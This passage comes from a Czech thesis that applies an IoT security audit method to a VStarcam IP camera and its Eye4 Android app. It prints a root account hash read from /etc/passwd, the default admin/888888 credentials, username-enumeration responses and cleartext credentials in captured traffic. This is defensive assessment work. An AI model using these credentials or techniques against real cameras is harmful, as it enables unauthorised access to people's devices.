telsky ucet. Hashovaci funkce musi byt kryptograficky bezpecna, v dobé psani této prace 1ze
doporucit SHA-1 a vyssi. Jiz by se neméla pouzivat MDS5. Misto hashe 1ze vyuzit i Sifrova-

cich funkci jako je napft. berypt. (Garfinkel et al., 2003)
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Ovéreni
Spociva v precteni databaze hesel zafizeni. Je-li systém postaveny na bazi OS Linux, pak
piislusné zaznamy hesel jsou v souborech /etc/passwd nebo /etc/shadow. Na systémech BSD
jsou v souboru /etc/master.passwd. Pro ostatni sluzby a rozhrani pracujici s hesly je dale
uvadeén postup ovéteni v prislusnych sekcich.

Demonstrace
Na testovaném zatizeni je hashované heslo k administratorskému uctu vstarcam2017 v sou-

boru /etc/passwd.

# cat /etc/passwd
vstarcam2017:JXS1KSvELr3nY:0:0:Administrator:/:/bin/sh#

Heslo se méni po kazdém restartovani zafizeni. Obsahuje 13 znakd, a tak 1ze odvozovat, ze
je ulozeno v Sifrovaném formatu DES, jehoz algoritmus jiz neni povazovan za bezpe¢ny. Ve

standardni implementaci ptedstavuji prvni dva znaky stl. (Garfinkel et al., 2003)
II. Chybéjici kontrola kvality hesel

Zakladni funkcionalitou na vSech urovnich fizeni uzivatelskych ucti (webové rozhrani, mo-
bilni aplikace, cloud, vzdalené ptihlasovani) je kontrola délky a komplexnosti hesel. Kromé
toho by hesla samoziejmé méla byt unikatni, nikoli pouZivana u vice sluzeb. V soucasné
dobé& je obecné pifijimanym standardem hesla délka alesponi 6 znakl, obsahujici Cislice
a velkd 1 mala pismena. Pro vétsi ochranu je vhodné politiku doplnit o specidlni znaky a ak-
ceptovat délku nejméné 8 znak.

Ovéreni
Postup ovéieni kontroly kvality hesel je uvadén vzdy v pfislusné sekci (webové rozhrani,
mobilni aplikace, cloud).

Demonstrace
Demonstrace kontroly kvality hesel je uvadéna vzdy v ptislusné sekci (webové rozhrani,

mobilni aplikace, cloud).
III. Nedostatecna granularita uZivatelskych opravnéni

Jednim z dulezitych prvkl bezpecnosti je granularita uZivatelskych opravnéni, kterou je
mysleno fizeni prav na bazi uzivatell, skupin, roli a objekti. Pfistup centralné spravovanych

roli uzivatell je oznacovan jako RBAC. (Garfinkel et al., 2003)
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Oveéreni
Ov¢ftit granularitu uzivatelskych prav je mozné po Uplném auditu vSech uzivatelskych uctt
a jejich opravnéni. Zdrojem informaci je zejména dokumentace zatizeni.

Demonstrace
V tabulce 1 je prehledné uveden vysledek vlastniho auditu uzivatelskych ucta, opravnéni
a roli zafizeni, vetné téch vytvotenych pfi instalaci zafizeni. Testovand kamera neposkytuje
dostateCnou granularitu uzivatelskych opravnéni na vSech trovnich fizeni. Pouze webové

rozhrani naznacuje fizeni opravnéni dle roli.

Tabulka 1: Audit uzivatelskych uctd a opravnéni

Rozhrani Ucet Prava
Passwd soubor vstarcam2017 Administratorska
admin Administratorska

Sledovat videozaznam, sledovat zdznam

WebOVé rOZhI‘ani Operator
z SD karty, ménit parametry videa
visitor Sledovat videozaznam
Cloud a Administratorska, omezena frontendem
) ) dp-czu-2018 .
mobilni aplikace mobilniho rozhrani

Zdroj: vlastni zpracovani
IV. Chybéjici reautentizace pii zasadnich zménach nastaveni

Provadi-li uZivatel zasadni zmény v nastavenich dtleZitych pro funkcionalitu, dostupnost
a zabezpeceni zatfizeni, m¢l by byt systémem vyzvan k reautentizaci.
Ovéreni
Ukony, které by mély byt chranéné reautentizaénim mechanizmem jsou napiiklad p¥idani
nového Uctu, zména administratorského hesla, zména ve vicefaktorové autentizaci, zména
portl vetejné dostupnych sluzeb, zména upozornéni e-mailem pii sledovanych udalostech
a dalsi. Funkci reautentizace lze ovéfit provedenim nékterého z vyjmenovanych tkond.
Demonstrace
Pfi ovéfeni na testovaném zafizeni byl pfidan ucet operatora, zménen vnitini ¢as zafizeni,

zménén port webového rozhrani, vypnuto upozornéni pii detekci pohybu a vymazan log.
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Ani jedna z téchto udalosti nevyvolala reautentizacni proces, tedy lze usoudit, Ze reautenti-

zace neni pfitomna.

w40

V. Pritomnost nedokumentovanych ucti

Zatizeni by mélo obsahovat pouze dokumentované, uzivatelem piistupné ucty. Je nepfija-
telné, aby byly pfitomné Ucty, které v zafizeni zlstaly naptiklad z testovani vyrobcem nebo
jako tzv. zadni vratka pro vzdalenou spravu a jiné davody.
Ovéreni
Pti hledani nedokumentovanych Ucti je tieba ziskat ptistup k seznamu vSech Gctl v zatizeni.
Na Linuxovych i BSD systémem jsou uzivatelské ucty ulozené v souboru /etc/passwd.
Demonstrace
Soubor /etc/passwd obsahuje jediny zdznam, a to dfive zmifilovany ucet vstarcam2017. Tento

neni nikde dokumentovan, je administratorsky a ma ptirazeny shell.
# id
uid=0 (vstarcam2017) gid=0 (root)
# whoami
vstarcam2017

Zatizeni jeSté obsahuje ucty k webovému rozhrani, které jsou vSak ukladany odd€lené prave
v umisténi sluzby webového serveru v /system/www, konkrétné v souboru system.ini, ktery

obsahuje ptihlasovaci tidaje v Citelném formatu.

00000000 495043414d2020202020202020202020 | IPCAM |
00000010 20202020202020202020202020202020 | |
[...]

00000210 20202020202020202020202064d0b626 | dbIs& |
00000220 5bd180d183c2a0c2a00120202074696d | [N.N.AA.tim |
00000230 652e77696e646£77732e636£6d202020 | e.windows.com |
00000240 20202020202020202020202020202020 | |
[...]

00000310 202020202031302e302e302e31202020 | 10.0.0.1 |
00000320 20202020202020202020202020202020 | |
[...]

00000350 20202020201520202066747020202020 | .ftp |
00000360 20202020202020202020202020202020 | |
[...]

00000690 202020202061646d696€202020202020 | admin |
000006a0 20202020202020202020202020202020 | |
000006b0 20202020203838383838383838202020 | 888888 |
000006c0 20202020202020202020202020202020 | |
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4.2.2 Webové rozhrani

Ptistup k webovému rozhrani je obvykle popsan v dokumentaci k zatizeni, ale nejcastéji je
pristupné na n¢kterém z webovych portt (80, 81, 8080, 443). Problém muze nastat v pripadé
nezndmého nestandardniho portu webového rozhrani, pak je nejsnazsi skenovanim otevie-
nych portt a jejich otevienim ve webovém prohlizeci vyzkouset vSechny kombinace.

Pro dikladné ovéfeni chovani webového rozhrani 1ze doporucit naptiklad nastroj Burp
Suite, vyuzivany pfi penetracnim testovani. Nastroj dokaze emulovat lokalni proxy server

a provadét analyzu i upravy HTTP provozu.
I. Slabé a znamé vychozi prihlasSovaci udaje

Kazdému zafizeni jsou vyrobcem nastavena vychozi hesla ke v§em uctim webového roz-
hrani. Hesla nastavovana vyrobci ale obvykle nejsou pfilis silnd, a navic jsou spolecné pro
vSechna zafizeni stejné fady. Mnohdy tak maji stejné heslo desetitisice az statisice zafizeni.
Zména vychozich hesel a idealné i uzivatelskych jmen pfi inicializaci zafizeni je zakladnim
krokem k zabezpeceni zatizeni.

Ovéreni
Vychozi heslo je obvykle vyznaceno na zafizeni, na nalepce na spodni stran€ nebo v manu-
alu. Zménu vychozich ptihlasovacich udajh 1ze nejcastéji provést v nastaveni uzivatelskych
ucta.

Demonstrace
Vychozi ptihlasovaci udaje IP kamery jsou nastaveny staticky. Heslo je zapsano v manualu
(obrazek 15) a na nalepce na zatizeni. Uzivatelsky ucet ma jméno admin, které je nemeni-
telné a vychozi heslo k nému je nastaveno na 888888. Tato kombinace byla jednou z dalSich

desitek zkouSenych malwarem Mirai (Jelic, 2016).
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Obrazek 15: Pfedpoklady Wi-Fi hesla

FAQ

Q: How to reset the camera to factory default setting?
A: Hold the reset button for about 10 seconds to reset camera.
Camera's default password: 888888 (To improve the security,
it is highly recommended that you madify the password of the
camera).

Q: Any tips for WiFi connection?

A : camera support only 2.4G frequency signal, and 802.11b/
g,/n WiFi network.

| The WiFi password should be less than 16 digits, and can not
contain special characters, such as @ ¥ ! etc. , suggest you to
make a password that contains only letters and number.

7 Please upgrade the APP to the |atest version.

Zdroj: Vstarcam, 2017

w40

II. Enumerace uzivatelskych ucta

Enumerace uZivatelskych u¢th umoziuje Gto¢nikovi prostiednictvim nespravné navrzené
odezvy zjistit jaké UCty na zatizeni jsou. Nevhodnd odezva se mliZe tykat jak ptihlasovaciho
procesu, tak procesu obnovy zapomenutého hesla.

Ovéreni
Analyzou datového provozu a HTTP odpovédi lze zjistit, zda odezva serveru v ptipadé¢ ne-
uspésného piihlaSeni nespravnou kombinaci uZivatelského jména a hesla je pouze obecna
nebo je mozné ziskat informace o platnosti uZivatelského uctu.

Demonstrace
Autentizace na webovém rozhrani je feSena pies bézny HTTP digest s MDS5 hashovaci

funkci. Odpovéd’ webového serveru na piihlaSeni neexistujicim uZivatelskym Gctem:

HTTP/1.1 401 Unauthorized

Server: GoAhead-Webs

Date: Mon Jun 11 18:21:59 2018

WWW-Authenticate: Digest realm="goAhead", do-
main=":54754",gop="auth",
nonce="9df06e18a89c8a3f3dbaeece20e692d3d",
opaque="5ccc069c403ebaf9f0171e9517£f40e41",algorithm="MD5",
stale="FALSE"

Content-Type: text/html

<html><head><title>Document Error: Unauthorized</title></head>
<body><h2>Access Error: Unauthorized</h2>
<p>Access Denied

Unknown User</p></body></html>
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Odpovéd’ webového serveru na piihlaSeni legitimnim uzivatelskym uctem a nespravnym
heslem:

HTTP/1.1 401 Unauthorized

Server: GoAhead-Webs

Date: Mon Jun 11 18:22:40 2018

WWW-Authenticate: Digest realm="goAhead", do-
main=":54754",gop="auth",
nonce="feee997a55a30e8a4345f00964b37403",
opaque="5ccc069c403ebaf9f0171e9517f40e41",algorithm="MD5",
stale="FALSE"

Content-Type: text/html

<html><head><title>Document Error: Unauthorized</title></head>
<body><h2>Access Error: Unauthorized</h2>
<p>Access Denied

Wrong Password</p></body></html>

Z porovnani odpovédi webového serveru je ziejmé, ze zafizeni obsahuje zranitelnost umoz-

flujici enumeraci uzivatelskych ucta.
III. Neomezené hadani hesel

Webové rozhrani by nemélo umoziovat neomezené hadani hesel k uzivatelskym uctim.
Bezpecnostnim standardem je zamknuti ptisluSného Gc¢tu na definovanou dobu po nékolika
chybnych pokusech o ptihlaseni (3-10).

Ovéreni
Ovéfit ochranu vici hadani hesla lze opét dvéma zplsoby. Prvnim je nalezeni ptislusného
nastaveni s konfiguraci zafizeni. Druhy zptsob spociva v experimentalnim nasimulovani
dostatecného mnoZzstvi neplatnych pokustl o pfihlaseni (1ze vyuZzit Burp Suite pro automati-
zaci) a poté se pokusit o ptihlaSeni platnymi tdaji.

Demonstrace
IP kamera nedisponuje moZnosti nastaveni zamykani uzivatelskych uct. Po 25 neplatnych
pokusech o pfihlaSeni bylo stale mozné se ptihlésit platnymi udaji. Kamera tak neni dosta-

teé¢né chranéna vuci atokum hadani hesla.
IV. Chybéjici kontrola kvality hesel

Pfi zméné ¢i prvnim nastaveni hesla by logika webového rozhrani méla kontrolovat kvalitu
nového hesla s ohledem na jeho délku a komplexnost. Hesla vyhodnocend jako slaba by

nem¢la byt pfijata.
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Overeni
Spociva ve zjisténi restrikci aplikovanych napiiklad samotnym webovym formularem, do
néhoz se heslo zadava. Dale je vhodné ovérit pokusem o nastaveni nékterého z velmi slabych
hesel, naptiklad 1234, password, abc123 atp.

Demonstrace
Formulatr webového rozhrani omezuje zadavané heslo HTML kodem dle obrazku 16. Po-
licko je omezeno délkou 16 znaki a nékteré specidlni znaky jsou z hesla bez védomi
uzivatele vypoustény. To je velmi nestandardni postup naznacujici jesté piitomnost dalSich
zranitelnosti typu command injection. Silna hesla nejsou zafizenim vyzadovana, coz je

ziejmé jiz z typu piidéleného vychoziho hesla.

Obrazek 16: Omezeni kvality hesla

Camera(IPCAM) - Iceweasel e e 0

/ Camera(IPCAM) x|+

€ ) @ 10.0.0.198:54754/admin.htm v &|[Q search B8 & & S

IP Camera Options

‘Hl Network Settings Users Settings

. Alarm Settings User Password
Administrator admin | [sosscsss I
Operator [ | |
Visitor [ I |

the video, play back SD video, control the PTZ, adjust the vide:

Visitor

1t can « ccount, can not set the parameters, can not control PTZ
can not change the vide

| Submit | ‘ Refresh
[l T Inspector > Console @ Debugger z Style Editor @ Performa... T Network = B (&% 00 x
€ body table thody tr.altrow td.vl.p2 table.v2.f14.md1 thody tr.altrow td.md2 inputi#pwd3 Computed| Fonts
SO ClEss= ></ 1> @
<tr class="altrow"> @
<td class="md4" align="center"></td>

§1Emeﬂt { inline

Inherited from table

.fla { style.css:108
font-size: 14px;
font-weight: normal;

onkeyup="value=value.replace (/[*\wl/ig,'')" maxlength="16"></input= =«
| table { style.css:2
<ftre bo collapse: collapse;
<tr class=""=</tr> @ bo spacing: Gpx;
<tr class=""s</tr> @ 3
<tr rlase="" heinht="25"2</tr= sm

Zdroj: vlastni zpracovani
V. Nevhodné navrZeny proces obnovy hesla

Zatizeni by mélo skrz webové rozhrani podporovat obnovu hesla pii jeho zapomenuti. Tento
proces musi byt spolehlivy, zalozeny na sekundarni metod¢ autentizace (e-mail, telefonni
¢islo) a na tajemstvi, které zna pouze opravnény uzivatel. Pfi pfihlaSeni nové vygenerova-

nym heslem musi byt vynucena jeho zmeéna.
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Ovéreni
Obnova hesla se nejcastéji konfiguruje pfi inicializaci zafizeni ¢i v nastaveni. Pfijatelnou
urovni bezpecnosti v podminkéach bézné sité je zaslani noveé vygenerovaného hesla na e-mail
zadany uzivatelem. Uzivatel diky tomu musi prokazat jak znalost e-mailové adresy tak musi
disponovat piistupem k ni.

Demonstrace
Webové rozhrani testovaného zafizeni neposkytuje moznost obnovy hesla. V ptipad¢ ztraty

hesla tak nezbyva nez zafizeni resetovat a uvést do vychoziho stavu.
VI. Otevi'eny pi‘enos prihlasovacich idaji, tokenii a cookies

Pti prihlasovani do webového rozhrani nesmi byt uzivatelské jméno a heslo vystaveny od-
poslechu sité, respektive nesmi byt Citelné v datovém provozu. Stejnd podminka plati i pro
dalsi citlivé tidaje jako jsou autentizacni tokeny a cookies. Odposlech a zneuZiti téchto citli-
vych dat maze vést k tzv. session hijackingu a impersonizaci Uto¢nika za opravnéného
uzivatele bez znalosti pfihlasovacich udajii. Webové rozhrani by tomu mélo branit napiiklad
SSL/TLS Sifrovanim.

Ovéreni
Spociva v analyze datového provozu mezi piihlaSenym klientem a webovym serverem.
K tomu je opét vhodné vyuzit naptiklad néstroj Burp Suite proxy, ktery dovoluje analyzu
kazdého jednotlivého HTTP pozadavku a odpovédi. V provozu by se nemély vyskytovat
¢itelnd uzivatelska jména, unikatni tokeny, autentiza¢ni cookies ani hesla.

Demonstrace
Autentizace probiha na testovaném zatizeni metodou HTTP digest a pfisluSnymi CGI

skripty. Klient na server zaSle pozadavek:

GET /login.cgi HTTP/1.1

Host: 10.0.0.198:37144

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:38.0)
Gecko/20100101 Firefox/38.0 Iceweasel/38.7.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.0.198:37144/1login.htm

Cookie: noshow=0; browser=0

Authorization: Digest username="admin", realm="goAhead",
nonce="5dcd3a5a4fd22d8dd08a%a48d7e5adaf", uri="/login.cgi",
algorithm=MD5, response="c4d28465ef6d2e5f0d31cdef30cf9974",
opaque="5ccc069c403ebaf9f0171e9517£40e41", gop=auth,
nc=0000000b,
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cnonce="54de%043c47514cc"
Server odpovida sérii odpovédi, nacitanych soubori a skriptl. Pii zkoumani v Burp Suite
ale jedna odpovéd’ serveru piekvapiveé obsahuje Uplné, Citelné prihlasovaci udaje:

HTTP/1.1 200 OK

Date: Mon Jun 11 20:31:43 2018

Server: GoAhead-Webs

Last-modified: Sun Apr 21 21:25:20 1929
Content-type: text/html

Content-length: 67

var loginuser="admin";
var loginpass="888888";
var pri=255;

Pokracuje-li uzivatel prohlizenim webového rozhrani, vétSina soubort je nacitdna dle HTTP
digest RFC. U nékterych skriptl jsou ale posilany ptihlasovaci tidaje pfimo v URL parame-
tru, a tedy viditelné v datovém provozu.

GET /get camera params.cgi?loginuse=adminé&lo-
ginpas=888888&1528771027467& =1528771027469 HTTP/1.1

Host: 10.0.0.198:37144

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:38.0)
Gecko/20100101 Firefox/38.0 Iceweasel/38.7.0

Accept: text/Jjavascript, application/javascript, applica-
tion/ecmascript, application/x-ecmascript, */*; g=0.01
Accept-Language: en-US,en;qg=0.5

Referer: http://10.0.0.198:37144/monitor.htm

Cookie: noshow=0; browser=0

Authorization: Digest username="admin", realm="goAhead",
nonce="5dcd3aba4£fd22d8dd08a%a48d7e5adaf", uri="/get camera pa-
rams.cgi?loginuse=admin&loginpas=888888&1528771027467& =152877
1027469", algorithm=MD5, re-
sponse="b2b8e29cffcff34af48b6el5fb348743",
opaque="5ccc069c403ebaf9f0171e9517£40e41", gop=auth,
nc=00000048,

cnonce="2c42edal56e4068a"

Pokud by mél utocnik ptistup k lince, napiiklad kdyby provadél MITM utok na Wi-Fi sit,
ziskal by odposlechem linky administratorské ptihlasovaci tidaje k 10T zatizeni. To je za-

vazna zranitelnost.
VII. Nepritomnost HTTPS

Zavedeni HTTPS na webovém rozhrani je doporu¢ované minimalné ocekéava-li se pfistup
k tomuto rozhrani z vnéjsi internetové sité, a to nejméné ze dvou ditvodl. Prvnim je vyse
uvedené Sifrovani datového provozu, které utocnikovi zabrani odposlech komunikace

zejména pred nim skryje citliva data, at’ uz jde o autentizacni udaje, cookies nebo samotny
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obsah. Druhym divodem je validace webového serveru. Klient si kontrolou pravosti certifi-
katu mize ovéfit, zda se server za legitimni webové rozhrani pouze nevydava.

Oveéreni
Implementaci HTTPS lze ovéftit pfihlaSenim do uctu prostiednictvim webového prohlizece.
V adresnim tadku je v ptipadé zabezpeceného HTTPS spojeni obvykle zelena ikonka za-
mecku. Pti kliknuti na ni se zobrazi zakladni informace o certifikatu: komu byl vystaven,
jaka certifikacni autorita jej vystavila (nem¢l by byt tzv. self-signed) a jaka je doba platnosti
certifikatu (mé¢l by byt platny).

Demonstrace
Webovy server IP kamery neimplementuje HTTPS certifikat (obrazek 17) ani neumoznuje

jeho import.

Obrazek 17: Nesifrované HTTP rozhrani

Camera(lPCAM) - Iceweasel

D-LINK SYSTEMS, INC. |... X | Camera(IPCAM) x '-\-I-

€ ) @10.0.0.198:22687/admin2.htm v e

IP Camera Options

“ Network Settings

Camera Status
..r‘_ Alarm Settings Firmware Version 48.53.75.103

| video Record web Ul Version EN75.8.53.14

ﬂ- System Settings Alias IPCAM

® Back Camera ID VSTA781328C]ZKG

Alarm Status None

Zdroj: vlastni zpracovani
VIII. Chybéjici moZnost vicefaktorové autentizace

Webové rozhrani by mélo umoznovat vicefaktorovou autentizaci uzivatell, napt. prostied-
nictvim mobilniho telefonu nebo e-mailu.

Ovéreni
Spociva v nalezeni pfisluSné moznosti nastaveni ve webovém rozhrani.

Demonstrace

Webové rozhrani testované IP kamery neposkytuje mozZnost vicefaktorové autentizace.
IX. Zranitelnosti webového serveru

Webové rozhrani by nemélo byt zranitelné vici titoklim typu cross-site scripting, cross-site

request forgery, SQL injection, path traversal, remote a local file inclusion. Jmenované
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zranitelnosti mohou umoznit uto¢niktim naptiklad ptihlaSeni bez znalosti hesla nebo session
hijacking opravnéného uzivatele.

Ovéreni
Rozsah této prace neumoznuje vénovat se hloub¢ji zranitelnostem webovych aplikaci. Oveé-
feni je mozné rucné nebo prostiednictvim specializovanych nastroji. Doporucit lze

napiiklad Burp Suite, Acunetix WVS, GoLismero, Nessus, Nikto aj.

4.2.3 Mobilni aplikace

Vyrobci nejéastéji poskytuji doporucenou mobilni aplikaci formou odkazu ke stazeni, a to
ve variantach pro dvé nejrozsitenéjsi platformy mobilnich aplikaci: Android a Apple 10S.
Nasledujici text se bude zabyvat pouze variantou OS Android, kterd dle aktualnich pri-
zkumt drzi zhruba 70% podil na trhu (Net Market Share, 2018).

K ovéfeni nékterych vlastnosti bezpecnosti mobilni aplikace bude tieba provést re-
verzni analyzu kodu, ke které je nutné ziskat zdrojovy soubor aplikace. Tento zdrojovy
format aplikace pro Android se nazyva APK a lze stdhnout prostfednictvim online sluzeb,
roz§itfeni webového prohlizece nebo néstrojlii na extrakci ptfimo z mobilniho telefonu. APK
je v podstat¢ jen druh ZIP archivu, ktery 1ze stejnojmennym nastrojem rozbalit a ziskat ad-
resafovou strukturu aplikace.

Mobilni aplikace u testovaného zatizeni funguje 1 jako rozhrani pro komunikaci s API

cloudu. Pienos dat je realizovan béZznymi HTTP GET a POST poZadavky.
I. Neoficialni distribué¢ni kanal

Stazeni mobilni aplikace by vzdy mélo probihat skrz oficialni distribu¢ni kanal pro dané
mobilni prostiedi, jelikoZ aplikace tam prochazi jistou kontrolou kvality. Pro Android je to
Google Play a pro iOS App Store. Rozhodné by nemélo dojit k situaci, kdy je po uZivateli
zadano svoleni instalace aplikaci z neoficidlnich zdroja tietich stran.

Ovéreni
Odkaz poskytnuty vyrobcem ke stazeni mobilni aplikace musi vést na oficialni platformu
Google Play nebo App Store.

Demonstrace
V manualu k IP kametfe je uveden QR kod, jenz po naskenovani obsahuje URL

http://www.eye4.cn/AppDown.html. Na strankdch je implementovano automatické
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pfesmérovani na platformu Google Play, konkrétné pimo na stranky oficidlni aplikace Eye4

vyvojate VStarcam Technology Co., Ltd.

Obrazek 18: Mobilni aplikace na Google Play

87% [ 22:06

Eyed

A more exciting lifestyle

Eye4d
LI VStarcam Technology Co., Ltd.,

El PEGI3

| ODINSTALOVAT l OTEVRIT

Nakupy v aplikaci

2000

Stazeni 71932 Nastroje Podobné

Eye4 je vzdaleny video systém, ktery
vyvinuty pro civilni spotrebitelsky trh.

=% NOVINKY

'
1 Sunnart Gnnnle Pav far elond etnrane

Zdroj: vlastni zpracovani
II. Vyzadani priliSnych prav pri instalaci

Mobilni aplikace pfi instalaci vyZaduje po uZivateli schvaleni potfebnych prav. Tato prava
jsou definovéana v XML souboru, nazyvaném Manifest, obsazeném v APK. Pii kontrole vy-
zadovanych pfistupovych prav je vhodné vyhodnotit, zda prostiedky, které si aplikace zada,
jsou v souladu s fungovanim a t¢elem aplikace. Ptili§ rozsahla prava ddvaji aplikaci moznost
pfistupovat k uzivatelskym datiim nebo k dal§im ¢innostem.

Overeni
Seznam prav vyzadovanych aplikaci se zobrazi pfi instalaci v grafickém okné. Nebo je

mozné ziskat tplny seznam analyzou APK ptikazem:

# aapt d permissions aplikace.apk
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Demonstrace

Uvedeny ptikaz u mobilni aplikace Eye4 vypiSe seznam vSech opravnéni, z nichz 1ze odvo-

dit, ze aplikace si zada prava na Cinnosti, které ji neptislusi, naptiklad ptistup k hovorim

uzivatele, poloze zafizeni, mikrofonu, baterii, souborovému systému a dalSim. VSechna

opravnéni vyzadana aplikaci Eye4:

package:
uses-permission:
uses-permission:
SENT'
uses-permission:
uses-permission:
uses-permission:
RAGE'
uses-permission:
uses-permission:
DOW'
uses-permission:

vstc.vscam.client

name="android

name='"android.
name="android.
name="android.

name="android.
name="android.

name="android.

ACT ACROSS USERS FULL'

uses-permission:
ON'
uses-permission:
uses-permission:
TION'
uses-permission:
uses-permission:
TE'
uses-permission:
uses-permission:
STALL SHORTCUT'
uses-permission:
SYSTEMS'
uses-permission:
uses-permission:
uses-permission:
uses-permission:
TED'
uses-permission:
uses-permission:
uses-permission:
CESSES'
uses-permission:
uses-permission:
uses-permission:
uses-permission:
uses-permission:
uses-permission:
RAGE'
uses-permission:
ON'
uses-permission:

name="android.

name="android.
name="android.

name="android.
name="android.

name="android.

.permission.
name="android.

permission.
permission.
permission.

permission.

permission.
permission.

permission.
permission.

permission.
permission.

permission.
permission.

permission.

CALL PHONE'
RECEIVE USER PRE-

INTERNET'
WAKE LOCK'
READ EXTERNAL STO-

SYSTEM ALERT WINDOW'
SYSTEM OVERLAY WIN-

INTER-
CHANGE CONFIGURATI-

FLASHLIGHT'
ACCESS COARSE LOCA-

CHANGE WIFI STATE'
CHANGE NETWORK STA-

RECORD_AUDIO'

name="'com.android.launcher.permission.IN-

name='"android.

name="android.
name="android.
name="android.
name="android.

name="android.
name='"android.
name="android.

name="android.
name="android.
name="android.
name="android.
name="android.
name="android.

name="android.

name="android.
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permission.

permission.
permission.
permission.
permission.

permission.
permission.
permission.

permission.
permission.
permission.
permission.
permission.
permission.

permission.

MOUNT UNMOUNT FILE-

VIBRATE'

CAMERA'

WRITE SETTINGS'
RECEIVE_BOOT COMPLE-

RESTART PACKAGES'
BROADCAST STICKY'
KILL BACKGROUND PRO-

GET TASKS'

READ LOGS'"
BLUETOOTH"

BATTERY STATS'

READ PHONE STATE'
WRITE EXTERNAL STO-

ACCESS FINE LOCATI-

hardware.sensor.accelerometer'



uses-permission: name='getui.permission.GetuiSer-
vice.vstc.vscam.client'

uses-permission: name='com.android.vending.BILLING'
permission: getui.permission.GetuiService.vstc.vscam.client
uses-permission: name='android.permission.DISABLE KEYGUARD'
uses-permission: name='android.permission.WRITE SETTINGS'
uses-permission: name='android.permission.ACCESS NETWORK STA-
TE'

uses-permission: name='android.permission.ACCESS WIFI STATE'
uses-permission: name='android.permission.WRITE EXTERNAL STO-
RAGE'

uses-permission: name='android.permission.BROADCAST PAC-

KAGE CHANGED'

uses-permission: name='android.permission.BROADCAST PAC-

KAGE REPLACED'

uses-permission: name='android.permission.GET ACCOUNTS'
uses-permission: name='android.permission.REORDER TASKS'
permission: vstc.vscam.client.permission.MIPUSH RECEIVE
uses-permission: name='vstc.vscam.client.permission.MIPUSH RE-
CEIVE'

uses-permission: name='com.google.android.c2dm.permission.RE-
CEIVE'

permission: vstc.vscam.client.permission.C2D MESSAGE
uses-permission: name='vstc.vscam.client.permis-

sion.C2D MESSAGE'

III. Nedostate¢né aktualizace a podpora

Pribézny vyvoj aplikace, zajistovani jeji kompatibility s novéj$imi telefony a systémy, bez-
pecnostni aktualizace a technickd podpora jsou klicové aspekty, které by mély byt v rdmci
zivotniho cyklu IoT zafizeni plnény.

Ovéreni
Schopnost vyvojart dodavat aktudlni, patchované verze aplikace neni mozné ovéftit prostied-
nictvim oficialnich kanalti. Céste¢nou historii aplikace umi zobrazit napiiklad webova
sluzba apkpure.com.

Demonstrace
Uvedena sluzba apkpure.com eviduje deset verzi aplikace Eye4, a to od srpna 2017. Rozmezi
mezi jednotlivymi verzemi bylo nanejvys tii mésice, obvykle vSak krat§i (Apkpure.com,
2018). Lze tedy aplikaci hodnotit jako aktivné vyvijenou a podporovanou. Verze a data jejich

vydani jsou uvedena v tabulce 2.
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Tabulka 2: Verze mobilni aplikace

Verze Datum
5.1.3(111) 23.05.2018
5.1.2 (110) 17.05.2018
5.1.1 (101) 04.05.2018
5.0.12 (94) 17.04.2018
5.0.11 (92) 06.04.2018
5.0.9 (89) 08.02.2018
5.0.8 (88) 30.01.2018
5.0.7 (87) 11.01.2018
5.0.1 (81) 21.10.2017
4.0.9 (75) 23.08.2017

Zdroj: Apkpure.com, 2018, vlastni Giprava
IV. Prenos prihlasovacich tidaji, tokeni a cookies

Pti prihlasovani do mobilni aplikace rozhrani nesmi byt uzivatelské jméno a heslo vystaveny
odposlechu sité, respektive nesmi byt ¢itelné v datovém provozu. Stejna podminka plati i pro
dalsi citlivé tidaje jako jsou autentizacni tokeny a cookies. Odposlech a zneuziti téchto citli-
vych dat miize vést k tzv. session hijackingu a impersonizaci uto¢nika za opravnéného
uzivatele bez znalosti ptihlasovacich udajt.

Oveéreni
K ovéfeni je tifeba nastavit odposlech komunikaéni linky. Zachyceny capture soubor je
mozné analyzovat v grafickém néstroji Wireshark a vyhledat fetézce obsahujici klicova
slova tykajici se loginu, hesla atd.

Demonstrace
Mobilni aplikace pfi registraci uZivatele prenasi uzivatelské jméno i heslo pfimo v parame-
trech HTTP pozadavku. Uzivatelské jméno je dp-czu-2018 a heslo opét 888888. Tyto tidaje

se zfejmée synchronizuji s cloudem hostovanym v Ciné.

10.0.0.199:59065 ~ 115.29.253.108:808

GET /add/VSTC/dp-czu-2018/888888/-1/-1/-1/-1/-1/-1/an-
droid/%$7B7EB5F3DA-AE4B-4663-857B-EEC91E507C95%7D HTTP/1.1\r\n
Host: apid4.eyed.cn:808\r\n

Connection: Keep-Alivelr\n

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n

Po vytvofeni Gc¢tu jiz mobilni aplikace komunikuje skryt€jSim zptisobem.

10.0.0.199:47081 - 115.29.253.108:80
POST /2/login/common HTTP/1.1\r\n
Content-Length: 286\r\n
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Content-Type: text/plain; charset=IS0-8859-1\r\n

Host: api.eyed.cn\r\n

Connection: Keep-Alive\r\n

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n

\r\n

[truncated] {"client Model":"samsung GT-S7580",
"pwd":"21218cca77804d2bal922¢c33e0151105", "ran":"202", "oemid" : "
VSTC","client type":1,"name":"dp-czu-2018",
"encryp":"a50b44fal69397b72fecf3c2393d1fab",

"language":"en", "date":"1522179726322","clien[...]

Retézec 21218cca77804d2bal922¢33e0151105 pod hodnotou klice pwd piedstavuje heslo
888888 v MDS5.

V. Kilice a hesla uloZena piimo v kédu aplikace

APK mobilni aplikace mize byt pomérné snadno podrobeno reverzni analyze. Proto je di-
lezité, aby kod neobsahoval Sifrovaci kli¢e nebo hesla v ¢itelném formatu.
Oveéreni
K ovéftendi je tieba reverzni analyzy kédu aplikace. Prvnim krokem je pieloZeni bytekodu do
Java JAR souboru napiiklad néstrojem d2j-dex2jar a poté Ize vyuzit dekompilatoru jd-gui.
Pti orientaci v kddu a hledani citlivych fetézct pomize fulltextové hledani klicovych slov.
Demonstrace
Ko6d mobilni aplikace obsahuje v n€kolika tfidach vychozi uzivatelské jméno a heslo, jak je
ukdzano niZe. Na obrazku 19 je pak zndzornéno prostredi dekompilatoru jd-gui.

package vstc.vscam.content;

import android.os.Environment;
import java.io.File;

public class C
{

public static final String APP ID = "wxa3ad45f8albeb57ed";

[...]

public static final String DEFAULT CAMERA NAME = "IPCAM";

public static final String DEFAULT USER NAME = "admin";

